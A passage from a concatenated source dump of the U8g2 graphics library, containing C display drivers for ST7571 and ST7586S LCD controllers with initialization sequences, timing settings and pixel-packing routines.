128x96: Duty 1/96 U8X8_C(0x2C), // Power Control, VC: ON, VR: OFF, VF: OFF U8X8_DLY(200), U8X8_C(0x2E), // Power Control, VC: ON, VR: ON, VF: OFF U8X8_DLY(200), U8X8_C(0x2F), // Power Control, VC: ON, VR: ON, VF: ON U8X8_DLY(10), U8X8_C(0x7B), // command set 3 U8X8_C(0x11), // black white mode U8X8_C(0x00), // exit command set 3 U8X8_C(0xA6), // Display Inverse OFF U8X8_C(0xA4), // Disable Display All Pixel ON //U8X8_C(0xAF), // Display on U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7571_128x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 16, /* tile_height = */ 12, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 96 }; uint8_t u8x8_d_st7571_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st7571_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x96_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x96_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_erc240160.c ================================================ /* u8x8_d_st7586s_erc240160.c Display: 240x160 pixel ST7586s: 384 x 160 x 2 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" static const uint8_t u8x8_d_st7586s_sleep_on[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x010), /* set power save mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_sleep_off[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x011), //Sleep out U8X8_DLY(50), /* delay 50 ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_erc240160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x0C8), /* COM159 -> COM0 SEG383 -> SEG0 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_C(0x02A), /* Column Address Setting */ U8X8_A(0x000), /* COL8 -> COL127 */ U8X8_A(0x008), U8X8_A(0x000), U8X8_A(0x07F), /* 120*3=240 pixels + 120 unused */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_erc240160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x000), /* COM0 -> COM159 SEG0 -> SEG383 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_C(0x02A), /* Column Address Setting */ U8X8_A(0x000), /* COL0 -> COL119 */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x077), /* 120*3=240 pixels + 120 unused */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_erc240160_init_seq[] = { U8X8_START_TRANSFER(),/* enable chip */ U8X8_END_TRANSFER(),/* disable chip */ // U8G_ESC_RST(1), /* hardware reset */ U8X8_DLY(60), /* Delay 60 ms */ U8X8_START_TRANSFER(),/* enable chip */ U8X8_C(0x001), // Soft reset U8X8_DLY(60), // Delay 120 ms U8X8_C(0x011), // Sleep Out U8X8_C(0x028), // Display OFF U8X8_DLY(25), // Delay 50 ms U8X8_CAA(0x0C0,0x036,0x01),// Vop = 136h data sheet suggested 0x0145 but this caused streaks U8X8_CA(0x0C3,0x000), // BIAS = 1/14 U8X8_CA(0x0C4,0x007), // Booster = x8 U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit U8X8_CA(0x0B3,0x000), // Set FOSC divider U8X8_CA(0x0B5,0x000), // N-Line = 0 U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode U8X8_C(0x03A), // Enable DDRAM Interface U8X8_A(0x002), // monochrome and 4-level U8X8_C(0x036), // Scan Direction Setting U8X8_A(0x0C8), // COM:C159->C0 SEG: SEG383->SEG0 U8X8_C(0x0B1), // First output COM U8X8_A(0x000), // U8X8_C(0x0B0), // Duty Setting (num rows - 1) U8X8_A(0x09F), U8X8_C(0x020), // Display inversion off U8X8_C(0x02A), // Column Address Setting U8X8_A(0x000), // COL0 -> COL127 U8X8_A(0x008), // U8X8_A(0x000), // U8X8_A(0x07F), // 80*3=240 pixels U8X8_C(0x02B), // Row Address Setting U8X8_A(0x000), // ROW0 -> ROW159 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x09F), // 160 pixels U8X8_C(0x029), // Display ON U8X8_END_TRANSFER(),/* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7586s_erc240160_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 100, /* datasheet ST7586S */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7586+Atmega128RFA1 works with 8MHz */ /* spi_mode = */ 3, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */ /* write_pulse_width_ns = */ 40, /* tile_width = */ 30, /* tile_height = */ 20, /* default_x_offset = */ 0, /* abused as flag to know if we are flipped */ /* flipmode_x_offset = */ 1, /* as pixel order different for normal/flipped */ /* pixel_width = */ 240, /* pixel_height = */ 160 }; /******************************************************************************* * st7586s_erc240160 driver. ST7586 based display from buydisplay.com ******************************************************************************/ uint8_t u8x8_d_st7586s_erc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c; uint8_t *ptr; uint8_t i, byte; uint32_t input; uint8_t output[4]; switch (msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); // OK Start transfer u8x8_cad_SendCmd(u8x8, 0x02B); /* Row Address Setting */ u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos); u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, 0x09F); // should set end row based on display dimensions u8x8_cad_SendCmd(u8x8, 0x02C); /* cmd write display data to ram */ c = ((u8x8_tile_t *) arg_ptr)->cnt; // c *= 8; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; // // The ST7586S has an unusual 3 pixels per byte format the ERC240160 is even more annoying // as it has every 3rd COM line disconnected for extra oddness so here we read in a byte // (8 pixels) and pack that into 4 bytes of 2 pixels + 1 unused each. This has to be done // in a different order for flipped, normal UUx11x22 flipped 11x22xUU while (c > 0) { input = ((uint8_t)ptr[0]); for (i=0; i<4; i++) { byte = 0; if (u8x8->x_offset ==0){ if (input & 0x80) // if bit 7 byte = byte | 0x18; //set pixel 1 if (input & 0x40) // if bit 6 byte = byte | 0x3; //set pixel 2 } if (u8x8->x_offset ==1){ if (input & 0x80) // if bit 7 byte = byte | 0xC0; //set pixel 1 if (input & 0x40) // if bit 6 byte = byte | 0x18; //set pixel 2 } output[i] = byte; input <<= 2; } u8x8_cad_SendData(u8x8, 4, output); ptr += 1; c -= 1; } u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_erc240160_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_erc240160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C0); u8x8_cad_SendArg(u8x8, arg_int); u8x8_cad_SendArg(u8x8, 1); u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_jlx384160.c ================================================ /* u8x8_d_st7586s_jlx384160.c copyied from u8x8_d_st7586s_s028hn118a.c Display: 384x160 pixel, https://github.com/olikraus/u8g2/issues/1932 ST7586s: 384 x 160 x 2 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2022, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" static const uint8_t u8x8_d_st7586s_sleep_on[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x010), /* set power save mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_sleep_off[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x011), //Sleep out U8X8_DLY(50), /* delay 50 ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_jlx384160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x000), /* COM0 -> COM159 SEG0 -> SEG384 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_jlx384160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x0C8), /* COM159 -> COM0 SEG384 -> SEG0 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_st7586s_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c; uint8_t *ptr; uint8_t i, byte; uint32_t input; uint8_t output[8]; switch (msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); // OK Start transfer u8x8_cad_SendCmd(u8x8, 0x02B); /* Row Address Setting */ u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos); u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1); /* should this be u8x8->display_info->pixel_height - 1 */ u8x8_cad_SendCmd(u8x8, 0x02C); /* cmd write display data to ram */ c = ((u8x8_tile_t *) arg_ptr)->cnt; // c *= 8; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; // // The ST7586S has an unusual 3 pixels per byte format so here we read in 3 bytes (24 pixels) and // pack that into 8 bytes of 3 pixels each while (c > 0) { input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]); for (i=0; i<8; i++) { byte = 0; if (input & 0x800000) // if bit 23 byte = byte | 0xC0; //set pixel 1 if (input & 0x400000) // if bit 22 byte = byte | 0x18; //set pixel 2 if (input & 0x200000) // if bit 22 byte = byte | 0x3; //set pixel 3 output[i] = byte; input <<= 3; } u8x8_cad_SendData(u8x8, 8, output); ptr += 3; c -= 3; } u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C0); u8x8_cad_SendArg(u8x8, arg_int); u8x8_cad_SendArg(u8x8, 0); u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } static const uint8_t u8x8_d_st7586s_jlx384160_init_seq[] = { U8X8_START_TRANSFER(),/* enable chip */ U8X8_END_TRANSFER(),/* disable chip */ // U8G_ESC_RST(15), /* hardware reset */ U8X8_DLY(60), /* Delay 60 ms */ U8X8_START_TRANSFER(),/* enable chip */ U8X8_C(0x001), // Soft reset U8X8_DLY(60), // Delay 120 ms U8X8_C(0x011), // Sleep Out U8X8_C(0x028), // Display OFF U8X8_DLY(25), // Delay 50 ms U8X8_CAA(0x0C0,0x0E5,0x00),// Vop = F0h in trace a bit too dark U8X8_CA(0x0C3,0x004), // BIAS = 1/10 0x04 in trace U8X8_CA(0x0C4,0x005), // Booster = x6 0x05 in trace U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit U8X8_CA(0x0B3,0x000), // Set FOSC divider U8X8_CA(0x0B5,0x08B), // N-Line = 0 U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode U8X8_C(0x03A), // Enable DDRAM Interface U8X8_A(0x002), // monochrome and 4-level U8X8_C(0x036), // Scan Direction Setting U8X8_A(0x000), // COM0 -> COM159 SEG0 -> SEG384 U8X8_C(0x0B0), // Duty Setting (num rows - 1) U8X8_A(0x09f), // 160-1 U8X8_C(0x020), // Display inversion off U8X8_C(0x02A), // Column Address Setting U8X8_A(0x000), // COL0 -> COL127 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x07f), // 128*3=384 pixels U8X8_C(0x02B), // Row Address Setting U8X8_A(0x000), // ROW0 -> ROW135 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(159), // 160 pixels U8X8_C(0x0F1), // Frame rate monochrome U8X8_A(0x00C), // The factory firmware set this to 49.0 Hz 0x07 U8X8_A(0x00C), // This caused a shimmer under 50Hz LED lights U8X8_A(0x00C), // 69.0 Hz (0x0C) fixes this and should avoid the U8X8_A(0x00C), // issue in the US too U8X8_C(0x029), // Display ON U8X8_END_TRANSFER(),/* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7586s_jlx384160_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 100, /* datasheet ST7586S */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7586+Atmega128RFA1 works with 8MHz */ /* spi_mode = */ 3, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */ /* write_pulse_width_ns = */ 40, /* tile_width = */ 48, /* tile_height = */ 20, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 384, /* pixel_height = */ 160 }; /******************************************************************************* * st7586s_jlx384160 driver. This is the display in the SMART Response XE. This requires 16 bit mode. ******************************************************************************/ uint8_t u8x8_d_st7586s_jlx384160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if (u8x8_d_st7586s_common(u8x8, msg, arg_int, arg_ptr) != 0) return 1; switch (msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_jlx384160_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_jlx384160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_s028hn118a.c ================================================ /* u8x8_d_st7586s_s028hn118a.c Display: 384x136 pixel ST7586s: 384 x 160 x 2 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" static const uint8_t u8x8_d_st7586s_sleep_on[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x010), /* set power save mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_sleep_off[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x011), //Sleep out U8X8_DLY(50), /* delay 50 ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_s028hn118a_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x000), /* COM0 -> COM159 SEG0 -> SEG384 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_s028hn118a_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x0C8), /* COM159 -> COM0 SEG384 -> SEG0 */ U8X8_C(0x037), /* Start line 24 */ U8X8_A(0x018), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_st7586s_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c; uint8_t *ptr; uint8_t i, byte; uint32_t input; uint8_t output[8]; switch (msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); // OK Start transfer u8x8_cad_SendCmd(u8x8, 0x02B); /* Row Address Setting */ u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos); u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1); /* should this be u8x8->display_info->pixel_height - 1 */ u8x8_cad_SendCmd(u8x8, 0x02C); /* cmd write display data to ram */ c = ((u8x8_tile_t *) arg_ptr)->cnt; // c *= 8; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; // // The ST7586S has an unusual 3 pixels per byte format so here we read in 3 bytes (24 pixels) and // pack that into 8 bytes of 3 pixels each while (c > 0) { input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]); for (i=0; i<8; i++) { byte = 0; if (input & 0x800000) // if bit 23 byte = byte | 0xC0; //set pixel 1 if (input & 0x400000) // if bit 22 byte = byte | 0x18; //set pixel 2 if (input & 0x200000) // if bit 22 byte = byte | 0x3; //set pixel 3 output[i] = byte; input <<= 3; } u8x8_cad_SendData(u8x8, 8, output); ptr += 3; c -= 3; } u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C0); u8x8_cad_SendArg(u8x8, arg_int); u8x8_cad_SendArg(u8x8, 0); u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } static const uint8_t u8x8_d_st7586s_s028hn118a_init_seq[] = { U8X8_START_TRANSFER(),/* enable chip */ U8X8_END_TRANSFER(),/* disable chip */ // U8G_ESC_RST(15), /* hardware reset */ U8X8_DLY(60), /* Delay 60 ms */ U8X8_START_TRANSFER(),/* enable chip */ U8X8_C(0x001), // Soft reset U8X8_DLY(60), // Delay 120 ms U8X8_C(0x011), // Sleep Out U8X8_C(0x028), // Display OFF U8X8_DLY(25), // Delay 50 ms U8X8_CAA(0x0C0,0x0E5,0x00),// Vop = F0h in trace a bit too dark U8X8_CA(0x0C3,0x004), // BIAS = 1/10 0x04 in trace U8X8_CA(0x0C4,0x005), // Booster = x6 0x05 in trace U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit U8X8_CA(0x0B3,0x000), // Set FOSC divider U8X8_CA(0x0B5,0x08B), // N-Line = 0 U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode U8X8_C(0x03A), // Enable DDRAM Interface U8X8_A(0x002), // monochrome and 4-level U8X8_C(0x036), // Scan Direction Setting U8X8_A(0x000), // COM0 -> COM159 SEG0 -> SEG384 U8X8_C(0x0B0), // Duty Setting (num rows - 1) U8X8_A(0x087), // should be 0x87 but caused flicker 0x9F U8X8_C(0x020), // Display inversion off U8X8_C(0x02A), // Column Address Setting U8X8_A(0x000), // COL0 -> COL127 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x07f), // 128*3=384 pixels U8X8_C(0x02B), // Row Address Setting U8X8_A(0x000), // ROW0 -> ROW135 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x087), // 136 pixels U8X8_C(0x0F1), // Frame rate monochrome U8X8_A(0x00C), // The factory firmware set this to 49.0 Hz 0x07 U8X8_A(0x00C), // This caused a shimmer under 50Hz LED lights U8X8_A(0x00C), // 69.0 Hz (0x0C) fixes this and should avoid the U8X8_A(0x00C), // issue in the US too U8X8_C(0x029), // Display ON U8X8_END_TRANSFER(),/* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7586s_s028hn118a_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 100, /* datasheet ST7586S */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7586+Atmega128RFA1 works with 8MHz */ /* spi_mode = */ 3, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */ /* write_pulse_width_ns = */ 40, /* tile_width = */ 48, /* tile_height = */ 17, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 384, /* pixel_height = */ 136 }; /******************************************************************************* * st7586s_s028hn118a driver. This is the display in the SMART Response XE. This requires 16 bit mode. ******************************************************************************/ uint8_t u8x8_d_st7586s_s028hn118a(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if (u8x8_d_st7586s_common(u8x8, msg, arg_int, arg_ptr) != 0) return 1; switch (msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_s028hn118a_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_s028hn118a_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7586s_ymc240160.c ================================================ /* u8x8_d_st7586s_ymc240160.c Display: 240x160 pixel ST7586s: 384 x 160 x 